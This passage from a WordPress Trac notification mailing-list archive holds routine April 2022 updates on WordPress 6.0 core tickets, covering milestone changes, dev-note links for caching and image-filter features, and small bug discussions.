the Microsoft IIS configuration. This makes sure that the rules for database credentials and authentication keys account for the spaces added as part of the formatting changes to match the WordPress coding standards in [42343/trunk/wp-config-sample.php] / #41057. Follow-up to [42218], [42343]. Props fusecp, sabernhardt, costdev, SergeyBiryukov. Fixes #53377. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/53377#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 16:14:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 16:14:26 -0000 Subject: [wp-trac] [WordPress Trac] #53490: adds missing test for xmlrpc function in functions.php In-Reply-To: <051.f859648103e1051bad72195498160afc@wordpress.org> References: <051.f859648103e1051bad72195498160afc@wordpress.org> Message-ID: <066.cff4aeb39426bb96e9c8e4a7d6985376@wordpress.org> #53490: adds missing test for xmlrpc function in functions.php --------------------------------------+--------------------- Reporter: pbearne | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Changes (by costdev): * type: defect (bug) => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/53490#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 16:14:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 16:14:42 -0000 Subject: [wp-trac] [WordPress Trac] #54239: tests for wp_fuzzy_number_match In-Reply-To: <051.62c9969ea7921f6ca8e6a74dacabcadb@wordpress.org> References: <051.62c9969ea7921f6ca8e6a74dacabcadb@wordpress.org> Message-ID: <066.a2f46d2791915279367d37f8f4d26eef@wordpress.org> #54239: tests for wp_fuzzy_number_match --------------------------------------+----------------------------- Reporter: pbearne | Owner: hellofromTonya Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: 5.3 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------------- Changes (by costdev): * type: defect (bug) => task (blessed) -- Ticket URL: <https://core.trac.wordpress.org/ticket/54239#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 16:17:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 16:17:06 -0000 Subject: [wp-trac] [WordPress Trac] #55387: $wp_filesystem->dirlist() can return false and that should be checked for before iterating over the return value In-Reply-To: <050.c9ec73ed464d696944aea28f77bcf09c@wordpress.org> References: <050.c9ec73ed464d696944aea28f77bcf09c@wordpress.org> Message-ID: <065.e4fa287f3039a62be73110c4d6c6517d@wordpress.org> #55387: $wp_filesystem->dirlist() can return false and that should be checked for before iterating over the return value ----------------------------+----------------------------- Reporter: pbiron | Owner: pbiron Type: defect (bug) | Status: assigned Priority: normal | Milestone: Future Release Component: Filesystem API | Version: 2.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+----------------------------- Changes (by costdev): * milestone: 6.0 => Future Release Comment: As this ticket still needs more work to investigate and implement an appropriate solution to each instance, I'm moving this to ''Future Release''. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55387#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 16:57:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 16:57:59 -0000 Subject: [wp-trac] [WordPress Trac] #52028: Twenty Fifteen: H5 and H6 headings have the same font size In-Reply-To: <049.a134b1e283dcba945e47be1b5eab0e4f@wordpress.org> References: <049.a134b1e283dcba945e47be1b5eab0e4f@wordpress.org> Message-ID: <064.0a01904e9bdd545ca5ad2e49f801d199@wordpress.org> #52028: Twenty Fifteen: H5 and H6 headings have the same font size -------------------------------------------------+------------------------- Reporter: poena | Owner: (none) Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 4.1 Severity: normal | Resolution: Keywords: good-first-bug has-patch has- | Focuses: css screenshots dev-feedback | -------------------------------------------------+------------------------- Comment (by sabernhardt): I think PR 2496 is the best approach, though I'm not certain yet. I'll create screenshots to compare against the current styling in each situation: in the editor, on the frontend (at 320, 768, 920, 1000, 1160 and 1280 pixels wide), with IE11, and in list blocks. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52028#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 21:43:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 21:43:12 -0000 Subject: [wp-trac] [WordPress Trac] #53746: Tidy up the tearDown() methods In-Reply-To: <055.18311c4bd402e1870dbe4ac4bbc70c00@wordpress.org> References: <055.18311c4bd402e1870dbe4ac4bbc70c00@wordpress.org> Message-ID: <070.d11a4b68c72419f05f94864491df903e@wordpress.org> #53746: Tidy up the tearDown() methods --------------------------------------+----------------------------- Reporter: johnbillion | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: Future Release Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------------- Changes (by johnbillion): * milestone: 6.0 => Future Release -- Ticket URL: <https://core.trac.wordpress.org/ticket/53746#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 22:24:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 22:24:20 -0000 Subject: [wp-trac] [WordPress Trac] #10886: WordPress should not unnecessarily query posts at page load In-Reply-To: <053.931185c546a0edbf3024f49b87a08e43@wordpress.org> References: <053.931185c546a0edbf3024f49b87a08e43@wordpress.org> Message-ID: <068.d78df52077302553c259d9a4dd2d9bef@wordpress.org> #10886: WordPress should not unnecessarily query posts at page load -------------------------------------------------+------------------------- Reporter: junsuijin | Owner: | spacedmonkey Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bootstrap/Load | Version: 2.8.4 Severity: normal | Resolution: fixed Keywords: has-unit-tests has-patch needs-docs | Focuses: has-dev-note | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * keywords: has-unit-tests early has-patch needs-dev-note needs-docs => has-unit-tests has-patch needs-docs has-dev-note Comment: Has dev note https://make.wordpress.org/core/2022/04/27/new-filter-to- modify-content-images-in-wordpress-6-0/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/10886#comment:44> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 22:25:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 22:25:50 -0000 Subject: [wp-trac] [WordPress Trac] #55347: There should be filter for image tag in wp_filter_content_tags() In-Reply-To: <051.4c28ae614b265b131f10f373a6050f15@wordpress.org> References: <051.4c28ae614b265b131f10f373a6050f15@wordpress.org> Message-ID: <066.05194f56ec6b594dd4c1e0cd97c34cbf@wordpress.org> #55347: There should be filter for image tag in wp_filter_content_tags() -------------------------------------------------+------------------------- Reporter: pbearne | Owner: flixos90 Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs-docs | Focuses: has-dev-note | -------------------------------------------------+------------------------- Changes (by spacedmonkey): * keywords: has-patch has-unit-tests commit needs-dev-note needs-docs => has-patch has-unit-tests needs-docs has-dev-note Comment: Has dev note - https://make.wordpress.org/core/2022/04/27/new-filter-to- modify-content-images-in-wordpress-6-0/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55347#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 22:28:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 22:28:11 -0000 Subject: [wp-trac] [WordPress Trac] #55080: Introduce a new `wp_cache_flush_runtime()` method In-Reply-To: <054.f9deb7514a5e162e54e77af39a76679f@wordpress.org> References: <054.f9deb7514a5e162e54e77af39a76679f@wordpress.org> Message-ID: <069.1cc65b4ad5c7b071b42d23a0f0099eee@wordpress.org> #55080: Introduce a new `wp_cache_flush_runtime()` method -------------------------------------------------+------------------------- Reporter: tillkruess | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Cache API | Version: trunk Severity: minor | Resolution: fixed Keywords: has-patch commit needs-docs has- | Focuses: dev-note | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * keywords: has-patch commit needs-dev-note needs-docs => has-patch commit needs-docs has-dev-note Comment: Dev note - https://make.wordpress.org/core/2022/04/29/caching- improvements-in-wordpress-6-0/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55080#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 22:28:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 22:28:41 -0000 Subject: [wp-trac] [WordPress Trac] #54574: Add wp_cache_*_multiple function In-Reply-To: <056.5bdf45f85b8c5dea45eaa02f22662630@wordpress.org> References: <056.5bdf45f85b8c5dea45eaa02f22662630@wordpress.org> Message-ID: <071.716440456341b2e3414750f593675f65@wordpress.org> #54574: Add wp_cache_*_multiple function -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Cache API | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs-docs | Focuses: has-dev-note | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * keywords: has-patch has-unit-tests needs-dev-note needs-docs => has- patch has-unit-tests needs-docs has-dev-note Comment: Dev note - https://make.wordpress.org/core/2022/04/29/caching- improvements-in-wordpress-6-0/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/54574#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 23:16:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 23:16:53 -0000 Subject: [wp-trac] [WordPress Trac] #55575: Duplicate HTML id attribute in Quick/Bulk Edit In-Reply-To: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> References: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> Message-ID: <067.c7f82c369cab8f97f6167507caba34cb@wordpress.org> #55575: Duplicate HTML id attribute in Quick/Bulk Edit -----------------------------+---------------------------- Reporter: GregLone | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: trunk Severity: normal | Resolution: Keywords: needs-patch | Focuses: accessibility -----------------------------+---------------------------- Comment (by joedolson): @sabernhardt `$bulk` is always going to be false within that loop - see line 1831. It's cloned in the JS on line 134. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55575#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform